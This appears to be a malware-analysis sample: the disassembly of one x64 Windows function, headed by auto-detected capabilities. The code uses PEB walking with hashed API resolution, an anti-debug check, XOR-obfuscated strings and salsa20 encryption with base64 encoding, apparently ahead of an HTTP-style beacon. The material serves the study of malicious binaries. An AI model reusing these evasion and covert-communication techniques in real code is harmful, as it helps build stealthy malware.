Function at 0x1400520b0
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag
Contain obfuscated stackstrings
Encode data using base64
Encode data using xor
Encrypt data using salsa20 or chacha
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xc48]
sub rsp, 0xd20
mov qword [rsp + 0x58], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov rax, qword [0x1401b5030]
xor rax, rsp
mov qword [rbp + 0xc10], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x61], xmm0
movups xmmword [rsp + 0x71], xmm0
movups xmmword [rbp - 0x7f], xmm0
mov qword [rbp - 0x6f], rax
mov dword [rbp - 0x67], eax
mov word [rbp - 0x63], ax
mov byte [rbp - 0x61], al
mov dword [rbp - 0x60], 0xcd3453b9
mov dword [rbp - 0x5c], 0x2e892e65
mov dword [rbp - 0x58], 0x7f0ab1c3
mov dword [rbp - 0x54], 0x6e8692cc
mov dword [rbp - 0x50], 0x21ce698
mov dword [rbp - 0x4c], 0x13aab263
mov dword [rbp - 0x48], 0xd217083
mov dword [rbp - 0x44], 0x1d8a9947
mov dword [rbp - 0x40], 0x11d10708
mov dword [rbp - 0x3c], 0x10d43f23
xor edx, edx
mov r8d, 0x401
lea rcx, [rbp + 0x800]
call fcn.14011fff0
xor edx, edx
mov r8d, 0x401
lea rcx, [rbp + 0x3f0]
call fcn.14011fff0
xor edx, edx
mov r8d, 0x401
lea rcx, [rbp - 0x20]
call fcn.14011fff0
xor r15d, r15d
mov dword [rsp + 0x44], r15d
mov dword [rsp + 0x40], r15d
call fcn.140051290
call fcn.140051790
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdi, qword [rcx + 0x10]
cmp qword [rdi + 0x60], r15
je 0x140052260
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14005224b
lea rax, [r11 + rcx]
mov r8d, dword [rax + 0x20]
add r8, r11
mov r10d, dword [rax + 0x24]
add r10, r11
mov esi, dword [rax + 0x1c]
add rsi, r11
mov r9, r15
mov ebx, dword [rax + 0x18]
test rbx, rbx
je 0x14005224b
nop dword [rax]
mov edx, dword [r8]
add rdx, r11
mov ecx, 0x94a0aec7
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14005223b
nop word [rax + rax]
rol ecx, 5
movsx eax, al
add ecx, eax
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140052220
cmp ecx, 0x1f48151f
je 0x140052253
inc r9
add r8, 4
add r10, 2
cmp r9, rbx
jb 0x140052200
mov rdi, qword [rdi]
jmp 0x1400521b8
movzx eax, word [r10]
mov r10d, dword [rsi + rax*4]
add r10, r11
jmp 0x140052263
mov r10, r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [0x1402bad00]
call r10
mov r14, rax
mov qword [rsp + 0x50], rax
test rax, rax
je 0x140052ed7
mov dword [rsp + 0x40], 0xea60
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rdi, qword [rdx + 0x10]
cmp qword [rdi + 0x60], r15
je 0x140052350
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14005233b
lea rax, [r11 + rcx]
mov r8d, dword [rax + 0x20]
add r8, r11
mov r10d, dword [rax + 0x24]
add r10, r11
mov esi, dword [rax + 0x1c]
add rsi, r11
mov r9, r15
mov ebx, dword [rax + 0x18]
test rbx, rbx
je 0x14005233b
nop word [rax + rax]
mov edx, dword [r8]
add rdx, r11
mov ecx, 0x94a0aec7
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14005232b
nop word [rax + rax]
rol ecx, 5
movsx eax, al
add ecx, eax
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140052310
cmp ecx, 0xe3b54f9b
je 0x140052343
inc r9
add r8, 4
add r10, 2
cmp r9, rbx
jb 0x1400522f0
mov rdi, qword [rdi]
jmp 0x1400522a4
movzx eax, word [r10]
mov r10d, dword [rsi + rax*4]
add r10, r11
jmp 0x140052353
mov r10, r15
mov r9d, 4
lea r8, [rsp + 0x40]
mov r13d, 2
mov edx, r13d
mov rcx, r14
call r10
mov dword [rsp + 0x40], 0xea60
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdi, qword [rcx + 0x10]
cmp qword [rdi + 0x60], r15
je 0x14005242f
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14005241a
lea rax, [r11 + rcx]
mov r8d, dword [rax + 0x20]
add r8, r11
mov r10d, dword [rax + 0x24]
add r10, r11
mov esi, dword [rax + 0x1c]
add rsi, r11
mov r9, r15
mov ebx, dword [rax + 0x18]
test rbx, rbx
je 0x14005241a
nop word [rax + rax]
mov edx, dword [r8]
add rdx, r11
mov ecx, 0x94a0aec7
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14005240b
nop word [rax + rax]
rol ecx, 5
movsx eax, al
add ecx, eax
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x1400523f0
cmp ecx, 0xe3b54f9b
je 0x140052422
inc r9
add r8, 4
add r10, r13
cmp r9, rbx
jb 0x1400523d0
mov rdi, qword [rdi]
jmp 0x140052386
movzx eax, word [r10]
mov r10d, dword [rsi + rax*4]
add r10, r11
jmp 0x140052432
mov r10, r15
mov r9d, 4
lea r8, [rsp + 0x40]
lea edx, [r9 + 1]
mov rcx, r14
call r10
mov dword [rsp + 0x40], 0xea60
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdi, qword [rcx + 0x10]
cmp qword [rdi + 0x60], r15
je 0x1400524ff
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x1400524ea
lea rax, [r11 + rcx]
mov r8d, dword [rax + 0x20]
add r8, r11
mov r10d, dword [rax + 0x24]
add r10, r11
mov esi, dword [rax + 0x1c]
add rsi, r11
mov r9, r15
mov ebx, dword [rax + 0x18]
test rbx, rbx
je 0x1400524ea
mov edx, dword [r8]
add rdx, r11
mov ecx, 0x94a0aec7
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1400524db
nop word [rax + rax]
rol ecx, 5
movsx eax, al
add ecx, eax
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x1400524c0
cmp ecx, 0xe3b54f9b
je 0x1400524f2
inc r9
add r8, 4
add r10, r13
cmp r9, rbx
jb 0x1400524a1
mov rdi, qword [rdi]
jmp 0x140052460
movzx eax, word [r10]
mov r10d, dword [rsi + rax*4]
add r10, r11
jmp 0x140052502
mov r10, r15
mov r9d, 4
lea r8, [rsp + 0x40]
lea edx, [r9 + 2]
mov rcx, r14
call r10
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdi, qword [rcx + 0x10]
cmp qword [rdi + 0x60], r15
je 0x1400525cf
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x1400525ba
lea rax, [r11 + rcx]
mov r8d, dword [rax + 0x20]
add r8, r11
mov r10d, dword [rax + 0x24]
add r10, r11
mov esi, dword [rax + 0x1c]
add rsi, r11
mov r9, r15
mov ebx, dword [rax + 0x18]
test rbx, rbx
je 0x1400525ba
nop dword [rax]
mov edx, dword [r8]
add rdx, r11
mov ecx, 0x94a0aec7
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1400525ab
nop word [rax + rax]
rol ecx, 5
movsx eax, al
add ecx, eax
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140052590
cmp ecx, 0xdca32a04
je 0x1400525c2
inc r9
add r8, 4
add r10, r13
cmp r9, rbx
jb 0x140052570
mov rdi, qword [rdi]
jmp 0x140052528
movzx eax, word [r10]
mov r10d, dword [rsi + rax*4]
add r10, r11
jmp 0x1400525d2
mov r10, r15
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], r15
xor r9d, r9d
movzx r8d, word [0x1402bb134]
mov rdx, qword [0x1402bb128]
mov rcx, r14
call r10
mov r12, rax
test rax, rax
je 0x140052e16
mov ecx, dword [rsp + 0x44]
mov eax, 0x803000
cmp dword [0x1402bb124], 4
cmove ecx, eax
mov dword [rsp + 0x44], ecx
mov rcx, qword gs:[0x58]
mov rdx, qword [rcx]
mov eax, 0x148
mov ecx, dword [rax + rdx]
mov ebx, 0x170
test cl, 1
jne 0x140052663
or ecx, 1
mov dword [rax + rdx], ecx
mov dword [rdx + rbx + 2], 0x167cf40
mov word [rdx + rbx], 0x4eab
lea rcx, [0x140157cb0]
call fcn.14011b87c
nop
mov rax, qword gs:[0x58]
mov rsi, qword [rax]
add rsi, rbx
cmp byte [rsi + 5], 0
je 0x14005268f
xor byte [rsi], 0xfb
xor byte [rsi + 1], 1
xor byte [rsi + 2], 0x13
xor byte [rsi + 3], 0x9b
xor byte [rsi + 4], 0x67
mov byte [rsi + 5], 0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdi, qword [rcx + 0x10]
cmp qword [rdi + 0x60], 0
je 0x140052750
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14005273b
lea rax, [r11 + rcx]
mov r8d, dword [rax + 0x20]
add r8, r11
mov r10d, dword [rax + 0x24]
add r10, r11
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9, r15
mov ebx, dword [rax + 0x18]
test rbx, rbx
je 0x14005273b
nop dword [rax]
nop word [rax + rax]
mov edx, dword [r8]
add rdx, r11
mov ecx, 0x94a0aec7
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14005272b
nop word [rax + rax]
rol ecx, 5
movsx eax, al
add ecx, eax
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140052710
cmp ecx, 0x19b5dfb
je 0x140052743
inc r9
add r8, 4
add r10, 2
cmp r9, rbx
jb 0x1400526f0
mov rdi, qword [rdi]
jmp 0x1400526a0
movzx eax, word [r10]
mov r10d, dword [r14 + rax*4]
add r10, r11
jmp 0x140052753
mov r10, r15
mov eax, dword [rsp + 0x44]
bts eax, 0x13
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
xor r9d, r9d
mov r8, qword [0x1402bb158]
mov rdx, rsi
mov rcx, r12
call r10
mov r15, rax
test rax, rax
je 0x140052d36
cmp dword [0x1402bb124], 4
jne 0x140052878
mov dword [rsp + 0x44], 0x1f380
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rdi, qword [rdx + 0x10]
cmp qword [rdi + 0x60], 0
je 0x140052860
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14005284b
lea rax, [r11 + rcx]
mov r8d, dword [rax + 0x20]
add r8, r11
mov r10d, dword [rax + 0x24]
add r10, r11
mov esi, dword [rax + 0x1c]
add rsi, r11
xor r9d, r9d
mov ebx, dword [rax + 0x18]
test rbx, rbx
je 0x14005284b
nop word [rax + rax]
mov edx, dword [r8]
add rdx, r11
mov ecx, 0x94a0aec7
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14005283b
nop word [rax + rax]
rol ecx, 5
movsx eax, al
add ecx, eax
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140052820
cmp ecx, 0xe3b54f9b
je 0x140052853
inc r9
add r8, 4
add r10, 2
cmp r9, rbx
jb 0x140052800
mov rdi, qword [rdi]
jmp 0x1400527b3
movzx eax, word [r10]
mov r10d, dword [rsi + rax*4]
add r10, r11
jmp 0x140052863
xor r10d, r10d
mov r9d, 4
lea r8, [rsp + 0x44]
lea edx, [r9 + 0x1b]
mov rcx, r15
call r10
lea rdi, [0x1402bb180]
mov r14, 0xffffffffffffffff
mov rbx, r14
nop dword [rax]
inc rbx
cmp byte [rdi + rbx], 0
jne 0x140052890
mov dword [rsp + 0x60], 0x61707865
mov eax, dword [rbp - 0x60]
mov dword [rsp + 0x64], eax
mov eax, dword [rbp - 0x5c]
mov dword [rsp + 0x68], eax
mov eax, dword [rbp - 0x58]
mov dword [rsp + 0x6c], eax
mov eax, dword [rbp - 0x54]
mov dword [rsp + 0x70], eax
mov dword [rsp + 0x74], 0x3320646e
mov eax, dword [rbp - 0x40]
mov dword [rsp + 0x78], eax
mov eax, dword [rbp - 0x3c]
mov dword [rsp + 0x7c], eax
xor esi, esi
mov qword [rbp - 0x80], rsi
mov dword [rbp - 0x78], 0x79622d32
mov eax, dword [rbp - 0x50]
mov dword [rbp - 0x74], eax
mov eax, dword [rbp - 0x4c]
mov dword [rbp - 0x70], eax
mov eax, dword [rbp - 0x48]
mov dword [rbp - 0x6c], eax
mov eax, dword [rbp - 0x44]
mov dword [rbp - 0x68], eax
mov dword [rbp - 0x64], 0x6b206574
mov r8d, ebx
mov rdx, rdi
lea rcx, [rsp + 0x60]
call fcn.14004b220
movsxd r10, ebx
test ebx, ebx
jle 0x1400529d1
mov r8d, esi
lea r9, [rbp + 0x3f2]
lea r11, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
lea esi, [r8 + 0x3d]
nop
movzx eax, byte [r8 + rdi]
mov byte [rsp + 0x4a], al
lea eax, [r13 - 1]
cmp eax, ebx
jle 0x140052948
mov byte [rsp + 0x49], 0
jmp 0x140052952
movzx eax, byte [r8 + rdi + 1]
mov byte [rsp + 0x49], al
cmp r13d, ebx
jle 0x14005295e
mov byte [rsp + 0x48], 0
jmp 0x140052968
movzx eax, byte [r8 + rdi + 2]
mov byte [rsp + 0x48], al
mov edx, dword [rsp + 0x48]
mov eax, edx
shr rax, 0x12
and eax, 0x3f
movzx eax, byte [rax + r11]
mov byte [r9 - 2], al
mov eax, edx
shr rax, 0xc
and eax, 0x3f
movzx eax, byte [rax + r11]
mov byte [r9 - 1], al
mov eax, edx
shr rax, 6
and eax, 0x3f
movzx eax, byte [rax + r11]
and edx, 0x3f
movzx ecx, byte [rdx + r11]
cmp r13d, ebx
cmovg eax, esi
mov byte [r9], al
lea eax, [r13 + 1]
cmp eax, ebx
cmovg ecx, esi
mov byte [r9 + 1], cl
add r13d, 3
add r8, 3
add r9, 4
cmp r8, r10
jl 0x140052930
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x1ac
mov eax, dword [rdx + rcx]
mov ebx, 0x250
test al, 1
jne 0x140052a10
or eax, 1
mov dword [rdx + rcx], eax
mov dword [rcx + rbx + 4], 0x1b3f2a8
mov dword [rcx + rbx], 0xf8c2fcb6
lea rcx, [0x140157c80]
call fcn.14011b87c
nop
mov rax, qword gs:[0x58]
mov r8, qword [rax]
add r8, rbx
cmp byte [r8 + 7], 0
je 0x140052a4d
xor byte [r8], 0xdf
xor byte [r8 + 1], 0x91
xor byte [r8 + 2], 0xa5
xor byte [r8 + 3], 0xc5
xor byte [r8 + 4], 0x8d
xor byte [r8 + 5], 0x81
xor byte [r8 + 6], 0xb3
mov byte [r8 + 7], 0
lea r9, [rbp + 0x3f0]
mov edx, 0x401
lea rcx, [rbp - 0x20]
call fcn.140050120
lea rax, [rbp - 0x20]
inc r14
cmp byte [rax + r14], 0
jne 0x140052a66
call fcn.1400530d0
mov r10, rax
cmp byte [rax + 0x6b], 0
je 0x140052ab2
xor r9d, r9d
movabs r11, 0x2113e7e35df5010d
nop dword [rax + rax]
movzx ecx, r9b
and cl, 7
shl cl, 3
mov rax, r11
shr rax, cl
xor byte [r9 + r10], al
inc r9
cmp r9, 0x6b
jb 0x140052a90
mov byte [r10 + 0x6b], 0
mov r9d, r14d
mov r8, r10
mov edx, 0x401
lea rcx, [rbp + 0x800]
call fcn.140050120
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdi, qword [rcx + 0x10]
cmp qword [rdi + 0x60], 0
je 0x140052b80
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140052b6b
lea rax, [r11 + rcx]
mov r8d, dword [rax + 0x20]
add r8, r11
mov r10d, dword [rax + 0x24]
add r10, r11
mov esi, dword [rax + 0x1c]
add rsi, r11
xor r9d, r9d
mov ebx, dword [rax + 0x18]
test rbx, rbx
je 0x140052b6b
nop dword [rax]
mov edx, dword [r8]
add rdx, r11
mov ecx, 0x94a0aec7
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140052b5b
nop word [rax + rax]
rol ecx, 5
movsx eax, al
add ecx, eax
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140052b40
cmp ecx, 0x48d0def0
je 0x140052b73
inc r9
add r8, 4
add r10, 2
cmp r9, rbx
jb 0x140052b20
mov rdi, qword [rdi]
jmp 0x140052ada
movzx eax, word [r10]
mov r10d, dword [rsi + rax*4]
add r10, r11
jmp 0x140052b83
xor r10d, r10d
mov r9d, 0xa0000000
mov r8d, 0xffffffff
lea rdx, [rbp + 0x800]
mov rcx, r15
call r10
test eax, eax
je 0x140052c77
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdi, qword [rcx + 0x10]
cmp qword [rdi + 0x60], 0
je 0x140052c60
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140052c4b
lea rax, [r11 + rcx]
mov r8d, dword [rax + 0x20]
add r8, r11
mov r10d, dword [rax + 0x24]
add r10, r11
mov esi, dword [rax + 0x1c]
add rsi, r11
xor r9d, r9d
mov ebx, dword [rax + 0x18]
test rbx, rbx
je 0x140052c4b
nop word [rax + rax]
mov edx, dword [r8]
add rdx, r11
mov ecx, 0x94a0aec7
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140052c3b
nop word [rax + rax]
rol ecx, 5
movsx eax, al
add ecx, eax
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140052c20
cmp ecx, 0x37073fb
je 0x140052c53
inc r9
add r8, 4
add r10, 2
cmp r9, rbx
jb 0x140052c00
mov rdi, qword [rdi]
jmp 0x140052bb5
movzx eax, word [r10]
mov r10d, dword [rsi + rax*4]
add r10, r11
jmp 0x140052c63
xor r10d, r10d
mov dword [rsp + 0x20], r14d
lea r9, [rbp - 0x20]
xor r8d, r8d
xor edx, edx
mov rcx, r15
call r10
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdi, qword [rcx + 0x10]
cmp qword [rdi + 0x60], 0
je 0x140052d2f
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140052d1b
lea rax, [r11 + rcx]
mov r8d, dword [rax + 0x20]
add r8, r11
mov r10d, dword [rax + 0x24]
add r10, r11
mov esi, dword [rax + 0x1c]
add rsi, r11
xor r9d, r9d
mov ebx, dword [rax + 0x18]
test rbx, rbx
je 0x140052d1b
nop word [rax + rax]
mov edx, dword [r8]
add rdx, r11
mov ecx, 0x94a0aec7
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140052d0b
nop word [rax + rax]
rol ecx, 5
movsx eax, al
add ecx, eax
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140052cf0
cmp ecx, 0x5dea2d5e
je 0x140052d23
inc r9
add r8, 4
add r10, 2
cmp r9, rbx
jb 0x140052cd0
mov rdi, qword [rdi]
jmp 0x140052c88
movzx eax, word [r10]
mov edx, dword [rsi + rax*4]
add rdx, r11
jmp 0x140052d31
xor edx, edx
mov rcx, r15
call rdx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdi, qword [rcx + 0x10]
cmp qword [rdi + 0x60], 0
je 0x140052e06
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov ecx, dword [rax + r11 + 0x88]
xor r15d, r15d
test ecx, ecx
je 0x140052deb
lea rax, [r11 + rcx]
mov r8d, dword [rax + 0x20]
add r8, r11
mov r10d, dword [rax + 0x24]
add r10, r11
mov esi, dword [rax + 0x1c]
add rsi, r11
mov r9d, r15d
mov ebx, dword [rax + 0x18]
test rbx, rbx
je 0x140052deb
nop word [rax + rax]
mov edx, dword [r8]
add rdx, r11
mov ecx, 0x94a0aec7
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140052ddb
nop word [rax + rax]
rol ecx, 5
movsx eax, al
add ecx, eax
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140052dc0
cmp ecx, 0x5dea2d5e
je 0x140052dfa
inc r9
add r8, 4
add r10, 2
cmp r9, rbx
jb 0x140052da0
mov rdi, qword [rdi]
cmp qword [rdi + 0x60], 0
je 0x140052e09
jmp 0x140052d60
movzx eax, word [r10]
mov edx, dword [rsi + rax*4]
add rdx, r11
jmp 0x140052e0c
xor r15d, r15d
mov rdx, r15
mov rcx, r12
call rdx
mov r14, qword [rsp + 0x50]
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdi, qword [rcx + 0x10]
cmp qword [rdi + 0x60], 0
je 0x140052ecf
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140052ebb
lea rax, [r11 + rcx]
mov r8d, dword [rax + 0x20]
add r8, r11
mov r10d, dword [rax + 0x24]
add r10, r11
mov esi, dword [rax + 0x1c]
add rsi, r11
mov r9, r15
mov ebx, dword [rax + 0x18]
test rbx, rbx
je 0x140052ebb
nop dword [rax]
mov edx, dword [r8]
add rdx, r11
mov ecx, 0x94a0aec7
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140052eab
nop word [rax + rax]
rol ecx, 5
movsx eax, al
add ecx, eax
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140052e90
cmp ecx, 0x5dea2d5e
je 0x140052ec3
inc r9
add r8, 4
add r10, 2
cmp r9, rbx
jb 0x140052e70
mov rdi, qword [rdi]
jmp 0x140052e27
movzx eax, word [r10]
mov edx, dword [rsi + rax*4]
add rdx, r11
jmp 0x140052ed2
mov rdx, r15
mov rcx, r14
call rdx
cmp qword [0x1402bb128], 0
je 0x140052fb2
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdi, qword [rcx + 0x10]
cmp qword [rdi + 0x60], 0
je 0x140052f9f
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140052f8b
lea rax, [r11 + rcx]
mov r8d, dword [rax + 0x20]
add r8, r11
mov r10d, dword [rax + 0x24]
add r10, r11
mov esi, dword [rax + 0x1c]
add rsi, r11
mov r9, r15
mov ebx, dword [rax + 0x18]
test rbx, rbx
je 0x140052f8b
nop dword [rax + rax]
mov edx, dword [r8]
add rdx, r11
mov ecx, 0x94a0aec7
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140052f7b
nop word [rax + rax]
rol ecx, 5
movsx eax, al
add ecx, eax
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140052f60
cmp ecx, 0x9ebe172a
je 0x140052f93
inc r9
add r8, 4
add r10, 2
cmp r9, rbx
jb 0x140052f40
mov rdi, qword [rdi]
jmp 0x140052ef6
movzx eax, word [r10]
mov edx, dword [rsi + rax*4]
add rdx, r11
jmp 0x140052fa2
mov rdx, r15
mov rcx, qword [0x1402bb128]
call rdx
mov qword [0x1402bb128], r15
cmp qword [0x1402bb158], 0
je 0x140053091
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdi, qword [rcx + 0x10]
cmp qword [rdi + 0x60], 0
je 0x14005307e
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14005306a
lea rax, [r11 + rcx]
mov r8d, dword [rax + 0x20]
add r8, r11
mov r10d, dword [rax + 0x24]
add r10, r11
mov esi, dword [rax + 0x1c]
add rsi, r11
mov r9, r15
mov ebx, dword [rax + 0x18]
test rbx, rbx
je 0x14005306a
nop dword [rax]
nop word [rax + rax]
mov edx, dword [r8]
add rdx, r11
mov eax, 0x94a0aec7
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005305a
nop word [rax + rax]
rol eax, 5
movsx ecx, cl
add eax, ecx
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140053040
cmp eax, 0x9ebe172a
je 0x140053072
inc r9
add r8, 4
add r10, 2
cmp r9, rbx
jb 0x140053020
mov rdi, qword [rdi]
jmp 0x140052fd1
movzx eax, word [r10]
mov edx, dword [rsi + rax*4]
add rdx, r11
jmp 0x140053081
mov rdx, r15
mov rcx, qword [0x1402bb158]
call rdx
mov qword [0x1402bb158], r15
mov rcx, qword [rbp + 0xc10]
xor rcx, rsp
call fcn.14011b0c0
lea r11, [rsp + 0xd20]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret